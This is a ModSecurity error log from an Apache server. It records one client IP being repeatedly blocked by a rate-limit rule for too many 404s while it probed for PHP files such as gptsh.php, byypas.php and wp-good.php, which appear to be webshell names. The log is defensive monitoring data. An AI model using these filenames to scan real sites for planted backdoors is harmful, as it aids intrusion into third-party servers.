[Wed Apr 22 23:36:34.954455 2026] [:error] [pid 9085:tid 9100] [client 4.232.188.102:65267] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctex1.php"] [unique_id "aejrAt-_-or9vQnlWnrkIwAAAU0"]
[Wed Apr 22 23:36:35.880137 2026] [:error] [pid 6384:tid 6398] [client 4.232.188.102:65182] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctex1.php"] [unique_id "aejrAz58M3t15ICeWHWX8AAAAMs"]
[Wed Apr 22 23:36:36.498626 2026] [:error] [pid 9085:tid 9104] [client 4.232.188.102:65237] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aejrBN-_-or9vQnlWnrkKgAAAVE"]
[Wed Apr 22 23:36:37.033519 2026] [:error] [pid 9085:tid 9090] [client 4.232.188.102:65227] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aejrBd-_-or9vQnlWnrkMAAAAUM"]
[Wed Apr 22 23:36:37.587255 2026] [:error] [pid 9085:tid 9103] [client 4.232.188.102:65276] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aejrBd-_-or9vQnlWnrkNAAAAVA"]
[Wed Apr 22 23:36:38.754580 2026] [:error] [pid 6384:tid 6394] [client 4.232.188.102:65175] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aejrBj58M3t15ICeWHWX9gAAAMc"]
[Wed Apr 22 23:36:39.656480 2026] [:error] [pid 23776:tid 23794] [client 4.232.188.102:65224] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aejrB7RExf-1pAbSeJsvxQAAAZA"]
[Wed Apr 22 23:36:40.806533 2026] [:error] [pid 6384:tid 6407] [client 4.232.188.102:65171] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aejrCD58M3t15ICeWHWX_wAAANQ"]
[Wed Apr 22 23:36:42.753694 2026] [:error] [pid 6384:tid 6389] [client 4.232.188.102:65187] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aejrCj58M3t15ICeWHWYCQAAAMI"]
[Wed Apr 22 23:36:45.197567 2026] [:error] [pid 6250:tid 6262] [client 4.232.188.102:65170] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aejrDQ-iZeQkqmQVfj4x4AAAAEg"]
[Wed Apr 22 23:36:46.487359 2026] [:error] [pid 6252:tid 6329] [client 4.232.188.102:64532] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aejrDutGYuiYb1nWBpRrQwAAARE"]
[Wed Apr 22 23:36:47.074223 2026] [:error] [pid 23776:tid 23778] [client 4.232.188.102:64599] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aejrD7RExf-1pAbSeJsvzgAAAYA"]
[Wed Apr 22 23:36:48.154778 2026] [:error] [pid 6250:tid 6257] [client 4.232.188.102:65205] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aejrEA-iZeQkqmQVfj4x4wAAAEM"]
[Wed Apr 22 23:36:48.849716 2026] [:error] [pid 6250:tid 6268] [client 4.232.188.102:65180] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aejrEA-iZeQkqmQVfj4x5QAAAE4"]
[Wed Apr 22 23:36:49.513959 2026] [:error] [pid 6344:tid 6372] [client 4.232.188.102:65247] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aejrEUDOTF-pkQnDeUkdTgAAABc"]
[Wed Apr 22 23:36:50.453023 2026] [:error] [pid 6384:tid 6394] [client 4.232.188.102:65240] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aejrEj58M3t15ICeWHWYDgAAAMc"]
[Wed Apr 22 23:36:51.253046 2026] [:error] [pid 23776:tid 23794] [client 4.232.188.102:65248] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aejrE7RExf-1pAbSeJsv0QAAAZA"]
[Wed Apr 22 23:36:51.855318 2026] [:error] [pid 9085:tid 9091] [client 4.232.188.102:65218] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aejrE9-_-or9vQnlWnrkRwAAAUQ"]
[Wed Apr 22 23:36:52.895706 2026] [:error] [pid 23776:tid 23791] [client 4.232.188.102:65273] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aejrFLRExf-1pAbSeJsv0wAAAY0"]
[Wed Apr 22 23:36:53.661513 2026] [:error] [pid 6252:tid 6315] [client 4.232.188.102:65185] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aejrFetGYuiYb1nWBpRrSgAAAQM"]
[Wed Apr 22 23:36:54.658330 2026] [:error] [pid 6252:tid 6334] [client 4.232.188.102:65215] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aejrFutGYuiYb1nWBpRrTQAAARY"]
[Wed Apr 22 23:36:55.264028 2026] [:error] [pid 6344:tid 6363] [client 4.232.188.102:64586] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aejrF0DOTF-pkQnDeUkdWwAAAA4"]
[Wed Apr 22 23:36:55.894187 2026] [:error] [pid 6251:tid 6286] [client 4.232.188.102:65209] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aejrFysFAzbyObL-SQ6X7AAAAIE"]
[Wed Apr 22 23:36:56.560181 2026] [:error] [pid 9085:tid 9109] [client 4.232.188.102:65163] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aejrGN-_-or9vQnlWnrkUQAAAVY"]
[Wed Apr 22 23:36:57.485445 2026] [:error] [pid 6344:tid 6362] [client 4.232.188.102:65230] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aejrGUDOTF-pkQnDeUkdXwAAAA0"]
[Wed Apr 22 23:36:58.458527 2026] [:error] [pid 9085:tid 9090] [client 4.232.188.102:65279] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aejrGt-_-or9vQnlWnrkVAAAAUM"]
[Wed Apr 22 23:36:59.320028 2026] [:error] [pid 6344:tid 6368] [client 4.232.188.102:65252] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aejrG0DOTF-pkQnDeUkdYgAAABM"]
[Wed Apr 22 23:37:00.147072 2026] [:error] [pid 6344:tid 6366] [client 4.232.188.102:64578] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aejrHEDOTF-pkQnDeUkdZwAAABE"]
[Wed Apr 22 23:37:00.997850 2026] [:error] [pid 9085:tid 9103] [client 4.232.188.102:65271] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aejrHN-_-or9vQnlWnrkVgAAAVA"]
[Wed Apr 22 23:37:01.986041 2026] [:error] [pid 6384:tid 6407] [client 4.232.188.102:65200] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aejrHT58M3t15ICeWHWYGwAAANQ"]
[Wed Apr 22 23:37:03.697535 2026] [:error] [pid 6344:tid 6357] [client 4.232.188.102:65199] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aejrH0DOTF-pkQnDeUkddAAAAAg"]
[Wed Apr 22 23:37:05.293654 2026] [:error] [pid 6384:tid 6410] [client 4.232.188.102:65197] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aejrIT58M3t15ICeWHWYJAAAANc"]
[Wed Apr 22 23:37:06.539066 2026] [:error] [pid 6251:tid 6294] [client 4.232.188.102:65277] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aejrIisFAzbyObL-SQ6X9QAAAIk"]
[Wed Apr 22 23:37:07.756040 2026] [:error] [pid 6344:tid 6360] [client 4.232.188.102:65243] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aejrI0DOTF-pkQnDeUkdegAAAAs"]
[Wed Apr 22 23:37:08.423992 2026] [:error] [pid 6344:tid 6349] [client 4.232.188.102:64628] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aejrJEDOTF-pkQnDeUkdfAAAAAA"]
[Wed Apr 22 23:37:09.557750 2026] [:error] [pid 6384:tid 6392] [client 4.232.188.102:65153] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aejrJT58M3t15ICeWHWYKgAAAMU"]
[Wed Apr 22 23:37:19.247873 2026] [:error] [pid 6250:tid 6256] [client 4.232.188.102:64595] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aejrLw-iZeQkqmQVfj4yMgAAAEI"]
[Wed Apr 22 23:37:20.077905 2026] [:error] [pid 9085:tid 9097] [client 4.232.188.102:65184] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aejrMN-_-or9vQnlWnrkbQAAAUo"]
[Wed Apr 22 23:37:21.655671 2026] [:error] [pid 9085:tid 9099] [client 4.232.188.102:64598] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aejrMd-_-or9vQnlWnrkcgAAAUw"]
[Wed Apr 22 23:37:22.848752 2026] [:error] [pid 6344:tid 6350] [client 4.232.188.102:65174] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aejrMkDOTF-pkQnDeUkdmwAAAAE"]
[Wed Apr 22 23:37:23.992937 2026] [:error] [pid 6384:tid 6393] [client 4.232.188.102:64621] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aejrMz58M3t15ICeWHWYSQAAAMY"]
[Wed Apr 22 23:37:24.703344 2026] [:error] [pid 6384:tid 6395] [client 4.232.188.102:65167] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aejrND58M3t15ICeWHWYUQAAAMg"]
[Wed Apr 22 23:37:25.640656 2026] [:error] [pid 6384:tid 6392] [client 4.232.188.102:64547] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aejrNT58M3t15ICeWHWYVwAAAMU"]
[Wed Apr 22 23:37:26.277575 2026] [:error] [pid 9085:tid 9093] [client 4.232.188.102:65201] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aejrNt-_-or9vQnlWnrkeQAAAUY"]
[Wed Apr 22 23:37:27.280025 2026] [:error] [pid 6251:tid 6285] [client 4.232.188.102:64618] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aejrNysFAzbyObL-SQ6YAwAAAIA"]
[Wed Apr 22 23:37:28.658878 2026] [:error] [pid 9085:tid 9093] [client 4.232.188.102:64633] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aejrON-_-or9vQnlWnrkiAAAAUY"]
[Wed Apr 22 23:37:30.299681 2026] [:error] [pid 6384:tid 6395] [client 4.232.188.102:65242] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aejrOj58M3t15ICeWHWYXAAAAMg"]
[Wed Apr 22 23:37:31.354292 2026] [:error] [pid 9085:tid 9103] [client 4.232.188.102:65275] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aejrO9-_-or9vQnlWnrklwAAAVA"]
[Wed Apr 22 23:37:32.149460 2026] [:error] [pid 9085:tid 9098] [client 4.232.188.102:65238] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aejrPN-_-or9vQnlWnrkmwAAAUs"]
[Wed Apr 22 23:37:32.861223 2026] [:error] [pid 6384:tid 6393] [client 4.232.188.102:65165] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aejrPD58M3t15ICeWHWYYQAAAMY"]
[Wed Apr 22 23:37:34.427209 2026] [:error] [pid 9085:tid 9100] [client 4.232.188.102:65202] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aejrPt-_-or9vQnlWnrkpQAAAU0"]
[Wed Apr 22 23:37:35.787116 2026] [:error] [pid 23776:tid 23800] [client 4.232.188.102:65246] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aejrP7RExf-1pAbSeJswCgAAAZY"]
[Wed Apr 22 23:37:36.863997 2026] [:error] [pid 6384:tid 6408] [client 4.232.188.102:65193] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aejrQD58M3t15ICeWHWYaQAAANU"]
[Wed Apr 22 23:37:37.600532 2026] [:error] [pid 23776:tid 23781] [client 4.232.188.102:64550] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aejrQbRExf-1pAbSeJswDQAAAYM"]
[Wed Apr 22 23:37:38.814364 2026] [:error] [pid 6384:tid 6390] [client 4.232.188.102:63946] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aejrQj58M3t15ICeWHWYbwAAAMM"]
[Wed Apr 22 23:37:39.814710 2026] [:error] [pid 23776:tid 23790] [client 4.232.188.102:65162] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aejrQ7RExf-1pAbSeJswEgAAAYw"]
